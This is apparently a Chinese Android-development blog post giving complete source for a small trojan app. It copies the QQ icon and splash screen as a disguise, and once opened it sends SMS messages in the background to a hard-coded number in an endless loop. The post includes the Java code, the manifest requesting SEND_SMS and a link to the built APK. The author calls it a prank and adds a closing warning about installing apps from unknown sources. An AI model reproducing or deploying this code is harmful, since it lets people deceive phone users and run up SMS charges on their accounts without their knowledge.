安卓小程序之“偷发短信病毒”
昨天晚上,看到了一个例子,就特别感兴趣迫不及待的想要亲手实现它。是一个后台偷发短信的软件,用的QQ的图标伪装,当用户安装上它并打开时会一直停留在登陆时的画面,很有意思
然而,用户并不知道这时软件已经在后台偷偷的给它指定的号码发短信了。如果在愚人节的时候用这个来愚弄小伙伴们,还挺有意思的,比如让软件指定给某个用户发送:“你好,我是猪!”,后果可想而知,哈哈
如下是程序的源代码:
MainActivity.java文件:
package com.wsqJohn.qq; import android.os.Bundle; import android.os.SystemClock; import android.app.Activity; import android.telephony.SmsManager; import android.view.Menu; import android.view.Window; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); //去除标题必须在setContentView 方法前调用 requestWindowFeature(Window.FEATURE_NO_TITLE);//取出标题 setContentView(R.layout.activity_main); //开启一个子线程.while(true)循环发短信 new Thread(new Runnable() { @Override public void run() { while(true){ //循环发送短信 SystemClock.sleep(100000); SmsManager smsManager = SmsManager.getDefault();//短信管理器 smsManager.sendTextMessage( "10086", //收件人的电话 null, "你好啊!!!", null, //如果发送成功,回调此方法,通知我们 null);//当对方接受成功,回调此方法 } } }).start(); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } }
AndroidManifest.xml文件:
1 <?xml version="1.0" encoding="utf-8"?> 2 <manifest xmlns:android="http://schemas.android.com/apk/res/android" 3 package="com.wsqJohn.qq" 4 android:versionCode="1" 5 android:versionName="1.0" > 6 7 <uses-sdk 8 android:minSdkVersion="8" 9 android:targetSdkVersion="18" /> 10 <!-- 添加发送短信的权限 --> 11 <uses-permission android:name="android.permission.SEND_SMS"/> 12 13 <application 14 android:allowBackup="true" 15 android:icon="@drawable/ic_launcher" 16 android:label="@string/app_name" 17 android:theme="@style/AppTheme" > 18 <activity 19 android:name="com.wsqJohn.qq.MainActivity" 20 android:label="@string/app_name" > 21 <intent-filter> 22 <action android:name="android.intent.action.MAIN" /> 23 24 <category android:name="android.intent.category.LAUNCHER" /> 25 </intent-filter> 26 </activity> 27 </application> 28 29 </manifest>
activity_main.xml布局文件:
1 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" 2 android:layout_width="match_parent" 3 android:layout_height="match_parent" 4 android:background="@drawable/splash" 5 > 6 </RelativeLayout>
总结:这次的练习,更加熟悉了安卓开发的流程,以及各个文件间的关系,也更加熟悉了几个快捷键的用法。如:ctr+1导包,alt+/自动补全代码。还有很多快捷方式,可以让我们在编写代码时非常方便快捷,相信随着学习的进度,掌握的也会更多。
提醒:这次的学习让我更加明白了,不能随便下载并安装位置来源的软件,这样很容易被咋骗,因为这样的一般都有问题,比如说此次的软件,如果在while(true)死循环中SystemClock.sleep(100000);休眠时间设置的不是100秒,而是一秒,指定的电话号码不是10086,那么在用户打开程序的过程中,后天每一秒种都在给指定用户发短信,直到停机欠费,除非用户即使发现并卸载该应用!所以安全第一!
这是此次的下载链接,https://files.cnblogs.com/files/wsqJohn/QQ.apk指定为发给10086的